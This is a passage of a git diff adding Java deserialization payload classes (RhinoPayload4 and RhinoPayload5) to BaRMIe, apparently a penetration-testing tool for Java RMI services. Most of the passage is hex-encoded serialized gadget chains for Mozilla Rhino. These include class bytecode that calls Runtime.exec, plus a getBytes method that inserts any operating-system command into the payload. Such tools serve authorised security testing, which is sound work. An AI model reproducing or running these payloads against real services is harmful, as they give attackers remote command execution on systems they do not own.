2900028BBDC7697400064E756D6265727371007E002C000000057071007E001A7077040000000B7371007E00290007000130DB71007E006F71007E00717371007E00290007EB1E29AE740011504F5349544956455F494E46494E4954597371007E00707FF00000000000007371007E0029000734E07AF27400114E454741544956455F494E46494E4954597371007E0070FFF00000000000007371007E00290007CEDD22967400094D41585F56414C55457371007E00707FEFFFFFFFFFFFFF7371007E00290007FCE839047400094D494E5F56414C55457371007E00700000000000000001787704000000007800000007737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654E756D62657230A28B6F31D79DA502000144000B646F75626C6556616C7565707871007E0012000000007071007E001A71007E00217704000000007877040000000878000000000000000000000001000000010171007E012071007E013071007E01207371007E00290002002063CE740004446174657371007E002C000000037071007E001A707704000000057371007E002900020001AAD67400036E6F777371007E002C000000007071007E001A707704000000007877040000000078000000047000000000FFFFFFFD0071007E0135737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665446174658CB60C521ACEF48A02000144000464617465707871007E0012000000007071007E001A71007E00217704000000007877040000002D787FF800000000000071007E01327371007E0029000206581AB374000570617273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFE0071007E013A71007E013871007E01327371007E00290002000149847400035554437371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E013D71007E013871007E013278770400000000780000000771007E013800000001000000010171007E013271007E013871007E01327371007E0029000200247B287400044D617468737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654D61746885561B50925CC9CF020000707871007E0012000000007071007E001A71007E00217704000000007877040000001B787371007E00290002002924E6740004576974687371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976655769746800000000000000010200024C0006706172656E7471007E00154C000970726F746F7479706571007E001570787071007E001A71007E002100000000000000010171007E014471007E014771007E01447371007E00290002001FEE7E74000443616C6C7371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766543616C6C98500D2B813FD2CA0200024C000866756E6374696F6E71007E00275B000C6F726967696E616C4172677371007E00AD707871007E0012000000007071007E001A71007E00217704000000007877040000000178707000000001000000010171007E014971007E014C71007E01497371007E00290002934ABCEB7400065363726970747371007E002C000000007071007E001A737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665536372697074A1B2F37EC354AD9C0200014C000673637269707474001F4C6F72672F6D6F7A696C6C612F6A6176617363726970742F5363726970743B707871007E002E000000007071007E001A71007E0021770400000000787704000000047800000004707077040000000078770400000000780000000771007E015200000001000000010171007E014E71007E015271007E014E7371007E002900024A566C8E71007E001E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200256F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F72C6968956626DC69F0200014C000E6F626A6563744974657261746F7271007E0001707871007E0012000000007071007E001A71007E002177040000000078770400000003787000000002000000010171007E001E71007E015671007E001E7371007E0029000240BC18DB74000D53746F70497465726174696F6E71007E0020737200326F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424476574746572536C6F74BBFDA92373201D6C0200024C000667657474657271007E00014C000673657474657271007E0001707871007E0029000291AC8D09740006526567457870737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4C617A696C794C6F6164656443746F7200000000000000010200065A00067365616C656449000573746174654C0009636C6173734E616D6571007E00054C0010696E697469616C697A656456616C756571007E00014C000C70726F70657274794E616D6571007E00054C000573636F70657400294C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C654F626A6563743B707870000000000074002A6F72672E6D6F7A696C6C612E6A6176617363726970742E7265676578702E4E61746976655265674578707071007E015B71007E001A70707371007E01590002309BB90D7400085061636B616765737371007E015C000000000074002B6F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A617661546F705061636B6167657071007E016171007E001A70707371007E015900020031AA227400046A6176617371007E015C000000000071007E01637071007E016571007E001A70707371007E0159000206039A967400056A617661787371007E015C000000000071007E01637071007E016871007E001A70707371007E015900020001AEE47400036F72677371007E015C000000000071007E01637071007E016B71007E001A70707371007E0159000200018181740003636F6D7371007E015C000000000071007E01637071007E016E71007E001A70707371007E01590002000187B67400036564757371007E015C000000000071007E01637071007E017171007E001A70707371007E015900020001A99D7400036E65747371007E015C000000000071007E01637071007E017471007E001A70707371007E0159000274434FC2740008676574436C6173737371007E015C000000000071007E01637071007E017771007E001A70707371007E015900026C71EEAD74000B4A617661416461707465727371007E015C00000000007400226F72672E6D6F7A696C6C612E6A6176617363726970742E4A617661416461707465727071007E017A71007E001A70707371007E0159000256774B7474000C4A617661496D706F727465727371007E015C00000000007400276F72672E6D6F7A696C6C612E6A6176617363726970742E496D706F72746572546F704C6576656C7071007E017E71007E001A70707371007E01590002DCB5CA5774000C436F6E74696E756174696F6E7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665436F6E74696E756174696F6E7071007E018271007E001A70707371007E01590002000153F7740003584D4C7371007E015C00000000007400296F72672E6D6F7A696C6C612E6A6176617363726970742E786D6C696D706C2E584D4C4C6962496D706C7071007E018671007E001A70707371007E01590002B6DCA535740007584D4C4C6973747371007E015C000000000071007E01887071007E018A71007E001A70707371007E01590002C215753B7400094E616D6573706163657371007E015C000000000071007E01887071007E018D71007E001A70707371007E01590002049A5E7C740005514E616D657371007E015C000000000071007E01887071007E019071007E001A70707877040000000078707701007372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B70787000000000FFFFFFFF757200035B5B424BFD19156767DB3702000070787000000002757200025B42ACF317F8060854E0020000707870"; + private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e019900000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007874000f6a6176612e6c616e672e436c617373787704000000017371007e0159000000337a8b71007e003971007e0078737200206f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f78583e1be606e304b503000070787077020101740005656e7465727672001e6f72672e6d6f7a696c6c612e6a6176617363726970742e436f6e7465787400000000000000000000007078707702000078707371007e0159000038eb000771007e003b71007e0078737200276f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654a6176614d6574686f64d0414efe72fe69000200024c000c66756e6374696f6e4e616d6571007e00055b00076d6574686f64737400235b4c6f72672f6d6f7a696c6c612f6a6176617363726970742f4d656d626572426f783b707871007e002e000000007070707704000000007877040000000078000000047071007e003b757200235b4c6f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f783b3226214ee6215239020000707870000000017371007e019f7702010174000e6e65775472616e73666f726d65727671007e01927702000078707877040000000078"; + + /******************* + * Set payload properties + ******************/ + public RhinoPayload4() { + super(); + this.setName("Rhino4"); + this.setDescription("Mozilla Rhino 1.7r3 for Java 1.4"); + this.setRemediationAdvice("[Mozilla Rhino] " + this.REMEDIATION_NO_FIX); + this.setAffectedJars(new String[] { + "js-14.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} + diff --git a/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload5.java b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload5.java new file mode 100644 index 0000000..5c9154d --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload5.java @@ -0,0 +1,75 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Mozilla Rhino 1.7r4, 1.7r4 + * for Java 1.4, 1.7r5, and 1.7r5 for Java 1.4. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RhinoPayload5 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "7372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B70787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC402000070787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B70787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD223902000070787000000000737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E0007707872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B707870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A65707870000000007704000000007871007E001078737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654572726F72B5EA2521BE49CE7D02000070787200296F72672E6D6F7A696C6C612E6A6176617363726970742E496453637269707461626C654F626A656374bb263e1c10ede9e503000070787200276F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A6563742745afa870ac78ba030004490005636F756E744C00106173736F63696174656456616C75657374000F4C6A6176612F7574696C2F4D61703B4C0011706172656E7453636F70654F626A6563747400234C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C653B4C000F70726F746F747970654F626A65637471007E0015707870000000027070737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A6176614F626A6563749F91A59E35C431E10300024C0006706172656E7471007E00154C000970726F746F7479706571007E0015707870737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654F626A656374A7F0F22AFF97BA0C020000707871007E001200000037737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C647078703F4000000000000C7708000000100000000474000D4C4942524152595F53434F504571007E001A7400084974657261746F72737200336F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F722453746F70497465726174696F6E227D07BEDDA89DBF020000707871007E0019000000007071007E001A7371007E0019000000007071007E001A707704000000007877040000000C78770400000000787704000000007874000A436C6173734361636865737200216F72672E6D6F7A696C6C612E6A6176617363726970742E436C617373436163686584F4C43496DC1F290200025A001063616368696E674973456E61626C656449001467656E657261746564436C61737353657269616C7078700000000000740000737200266F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766547656E657261746F7216D762746EC522C90200065A0009666972737454696D6549000A6C696E654E756D6265725A00066C6F636B65644C000866756E6374696F6E7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F4E617469766546756E6374696F6E3B4C000A6C696E65536F7572636571007E00054C000A7361766564537461746571007E0001707871007E001200000000707070770400000000787704000000057800000000000070707078707077040000005F7372002C6F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424536C6F74AB79E83BE385789D02000453000A6174747269627574657349000B696E6465784F72486173684C00046E616D6571007E00054C000576616C756571007E0001707870000000000000740000737200276F72672E6D6F7A696C6C612E6A6176617363726970742E496446756E6374696F6E4F626A656374B5FFD1C66BA0FED502000649000561726974794900086D6574686F6449645A001475736543616C6C4173436F6E7374727563746F724C000C66756E6374696F6E4E616D6571007E00054C0006696463616C6C7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F496446756E6374696F6E43616C6C3B4C000374616771007E000170787200236F72672E6D6F7A696C6C612E6A6176617363726970742E4261736546756E6374696F6E49B5DD1BB05C2AE302000249001B70726F746F7479706550726F7065727479417474726962757465734C001170726F746F7479706550726F706572747971007E0001707871007E00120000000070707371007E002E0000000070707077040000000078770400000000780000000070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C00000000707070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000047071007E001A71007E002177040000000B7371007E0029000000337A8B7400046E616D6571007E00357371007E0029000038EB00077400076D6573736167657400007371007E00290000D425C62774000866696C654E616D6571007E003C7371007E00290000EC61B05D74000A6C696E654E756D626572737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C756570787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000070787000000000787704000000037800000001000000010171007E003571007E003771007E00357371007E002900021EB5489E7400096465636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000010071007E0045737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665476C6F62616C546211EF26C230CA020000707870740006476C6F62616C7371007E002900022E10C5FF7400126465636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000020071007E004B71007E004871007E00497371007E0029000259E44B76740009656E636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000030071007E004E71007E004871007E00497371007E00290002C89B7627740012656E636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000040071007E005171007E004871007E00497371007E00290002B2DC80817400066573636170657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000050071007E005471007E004871007E00497371007E00290002002FB09C7400046576616C7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000060071007E005771007E004871007E00497371007E00290002DC367E79740008697346696E6974657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000070071007E005A71007E004871007E00497371007E0029000205FD1B7174000569734E614E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000080071007E005D71007E004871007E00497371007E0029000231161EB87400096973584D4C4E616D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000090071007E006071007E004871007E00497371007E00290002C428CF6974000A7061727365466C6F61747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000A0071007E006371007E004871007E00497371007E0029000246CC243C7400087061727365496E747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000020000000B0071007E006671007E004871007E00497371007E00290002E7B3785A740008756E6573636170657371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000C0071007E006971007E004871007E00497371007E00290002CDE4CAB5740006756E6576616C7371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000D0071007E006C71007E004871007E00497371007E00290002000130DB7400034E614E737200106A6176612E6C616E672E446F75626C6580B3C24A296BFB0402000144000576616C7565707871007E00427FF80000000000007371007E002900020E2CCE48740008496E66696E6974797371007E00707FF00000000000007371007E00290002C21F6150740009756E646566696E6564737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E646566696E65647F9D9ECFF72ACBBF0200007078707371007E00290002E859127274000F436F6E76657273696F6E4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007A7877040000000078000000010000000E0171007E007A71007E004871007E00497371007E002900029FC652AC7400094576616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007F7877040000000078000000010000000E0171007E007F71007E004871007E00497371007E002900020932C2EB74000A52616E67654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00847877040000000078000000010000000E0171007E008471007E004871007E00497371007E002900025198459D74000E5265666572656E63654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00897877040000000078000000010000000E0171007E008971007E004871007E00497371007E00290002605053C574000B53796E7461784572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E008E7877040000000078000000010000000E0171007E008E71007E004871007E00497371007E0029000294F7E6CE740009547970654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00937877040000000078000000010000000E0171007E009371007E004871007E00497371007E00290002F016881C7400085552494572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00987877040000000078000000010000000E0171007E009871007E004871007E00497371007E002900029B10F92B74000D496E7465726E616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E009D7877040000000078000000010000000E0171007E009D71007E004871007E00497371007E00290002DD2FBC2D74000D4A617661457863657074696F6E7371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00A27877040000000078000000010000000E0171007E00A271007E004871007E00497371007E0029000203C9823974000541727261797371007E002C000000117071007E001A707704000000177371007E002900020031DD2A7400046A6F696E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00AA737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665417272617965BE3F5055DB7C6A0200035A000964656E73654F6E6C794A00066C656E6774685B000564656E73657400135B4C6A6176612F6C616E672F4F626A6563743B707871007E0012000000007071007E001A71007E00217704000000007877040000001578010000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007078700000000A737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E69717565546167C40A4C7517C9E69502000149000574616749647078700000000171007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00B271007E00A77371007E00290002418E52E2740007726576657273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFA0071007E00B471007E00AE71007E00A77371007E002900020035F59E740004736F72747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00B771007E00AE71007E00A77371007E002900020034AF1A740004707573687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00BA71007E00AE71007E00A77371007E002900020001B251740003706F707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF70071007E00BD71007E00AE71007E00A77371007E0029000206856C8274000573686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF60071007E00C071007E00AE71007E00A77371007E00290002EF739589740007756E73686966747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF50071007E00C371007E00AE71007E00A77371007E00290002CA9A467C74000673706C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF40071007E00C671007E00AE71007E00A77371007E00290002AF3F7714740006636F6E6361747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF30071007E00C971007E00AE71007E00A77371007E0029000206873D92740005736C6963657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00CC71007E00AE71007E00A77371007E0029000273D44649740007696E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF10071007E00CF71007E00AE71007E00A77371007E00290002E42256D374000B6C617374496E6465784F667371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF00071007E00D271007E00AE71007E00A77371007E0029000205C6731B74000565766572797371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEF0071007E00D571007E00AE71007E00A77371007E00290002B408CB7874000666696C7465727371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEE0071007E00D871007E00AE71007E00A77371007E00290002D78CD66A740007666F72456163687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFED0071007E00DB71007E00AE71007E00A77371007E002900020001A55C7400036D61707371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEC0071007E00DE71007E00AE71007E00A77371007E002900020035F4F4740004736F6D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFEB0071007E00E171007E00AE71007E00A778770400000000780000000771007E00AE00000001000000010171007E00A771007E00AE71007E00A77371007E00290002943A4C31740006537472696E677371007E002C000000127071007E001A7077040000002F7371007E00290002C4FE4C2D74000C66726F6D43686172436F64657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E00E7737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665537472696E670CC57334977D230F0200014C0006737472696E6771007E0005707871007E0012000000007071007E001A71007E0021770400000000787704000000247871007E003C71007E00E47371007E00290002AED71E297400066368617241747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFB0071007E00EC71007E00EA71007E00E47371007E0029000217AC15F674000A63686172436F646541747371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFFA0071007E00EF71007E00EA71007E00E47371007E0029000273D4464971007E00CF7371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF90071007E00CF71007E00EA71007E00E47371007E00290002E42256D371007E00D27371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF80071007E00D271007E00EA71007E00E47371007E0029000206891B1A74000573706C69747371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF70071007E00F671007E00EA71007E00E47371007E002900021F9F6E51740009737562737472696E677371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF60071007E00F971007E00EA71007E00E47371007E00290002BC31DD9674000B746F4C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF50071007E00FC71007E00EA71007E00E47371007E00290002E82F52B774000B746F5570706572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFF40071007E00FF71007E00EA71007E00E47371007E00290002CADC57F17400067375627374727371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF30071007E010271007E00EA71007E00E47371007E00290002AF3F771471007E00C97371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFF20071007E00C971007E00EA71007E00E47371007E0029000206873D9271007E00CC7371007E002C000000007071007E001A707704000000007877040000000078000000047000000003FFFFFFF10071007E00CC71007E00EA71007E00E47371007E002900020F5DAD41740010657175616C7349676E6F7265436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE20071007E010971007E00EA71007E00E47371007E00290002062DD9C57400056D617463687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE10071007E010C71007E00EA71007E00E47371007E00290002C9FA65A87400067365617263687371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFE00071007E010F71007E00EA71007E00E47371007E00290002413CB2B47400077265706C6163657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDF0071007E011271007E00EA71007E00E47371007E002900023E27CD2B74000D6C6F63616C65436F6D706172657371007E002C000000007071007E001A707704000000007877040000000078000000047000000002FFFFFFDE0071007E011571007E00EA71007E00E47371007E00290002A8AECC9C740011746F4C6F63616C654C6F776572436173657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFDD0071007E011871007E00EA71007E00E478770400000000780000000771007E00EA00000001000000010171007E00E471007E00EA71007E00E47371007E0029000267140408740007426F6F6C65616E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200246F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665426F6F6C65616ECC6A9303539DE71B0200015A000C626F6F6C65616E56616C7565707871007E0012000000007071007E001A71007E002177040000000078770400000004780000000001000000010171007E011B71007E011E71007E011B7371007E002900028BBDC7697400064E756D6265727371007E002C000000057071007E001A7077040000000B7371007E00290007000130DB71007E006F71007E00717371007E00290007EB1E29AE740011504F5349544956455F494E46494E4954597371007E00707FF00000000000007371007E0029000734E07AF27400114E454741544956455F494E46494E4954597371007E0070FFF00000000000007371007E00290007CEDD22967400094D41585F56414C55457371007E00707FEFFFFFFFFFFFFF7371007E00290007FCE839047400094D494E5F56414C55457371007E00700000000000000001787704000000007800000007737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654E756D62657230A28B6F31D79DA502000144000B646F75626C6556616C7565707871007E0012000000007071007E001A71007E00217704000000007877040000000878000000000000000000000001000000010171007E012071007E013071007E01207371007E00290002002063CE740004446174657371007E002C000000037071007E001A707704000000057371007E002900020001AAD67400036E6F777371007E002C000000007071007E001A707704000000007877040000000078000000047000000000FFFFFFFD0071007E0135737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665446174658CB60C521ACEF48A02000144000464617465707871007E0012000000007071007E001A71007E00217704000000007877040000002D787FF800000000000071007E01327371007E0029000206581AB374000570617273657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFE0071007E013A71007E013871007E01327371007E00290002000149847400035554437371007E002C000000007071007E001A707704000000007877040000000078000000047000000001FFFFFFFF0071007E013D71007E013871007E013278770400000000780000000771007E013800000001000000010171007E013271007E013871007E01327371007E0029000200247B287400044D617468737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654D61746885561B50925CC9CF020000707871007E0012000000007071007E001A71007E00217704000000007877040000001B787371007E00290002002924E6740004576974687371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976655769746800000000000000010200024C0006706172656E7471007E00154C000970726F746F7479706571007E001570787071007E001A71007E002100000000000000010171007E014471007E014771007E01447371007E00290002001FEE7E74000443616C6C7371007E002C000000007071007E001A70770400000000787704000000007800000007737200216F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766543616C6C98500D2B813FD2CA0200024C000866756E6374696F6E71007E00275B000C6F726967696E616C4172677371007E00AD707871007E0012000000007071007E001A71007E00217704000000007877040000000178707000000001000000010171007E014971007E014C71007E01497371007E00290002934ABCEB7400065363726970747371007E002C000000007071007E001A737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665536372697074A1B2F37EC354AD9C0200014C000673637269707474001F4C6F72672F6D6F7A696C6C612F6A6176617363726970742F5363726970743B707871007E002E000000007071007E001A71007E0021770400000000787704000000047800000004707077040000000078770400000000780000000771007E015200000001000000010171007E014E71007E015271007E014E7371007E002900024A566C8E71007E001E7371007E002C000000007071007E001A70770400000000787704000000007800000007737200256F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F72C6968956626DC69F0200014C000E6F626A6563744974657261746F7271007E0001707871007E0012000000007071007E001A71007E002177040000000078770400000003787000000002000000010171007E001E71007E015671007E001E7371007E0029000240BC18DB74000D53746F70497465726174696F6E71007E0020737200326F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424476574746572536C6F74BBFDA92373201D6C0200024C000667657474657271007E00014C000673657474657271007E0001707871007E0029000291AC8D09740006526567457870737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4C617A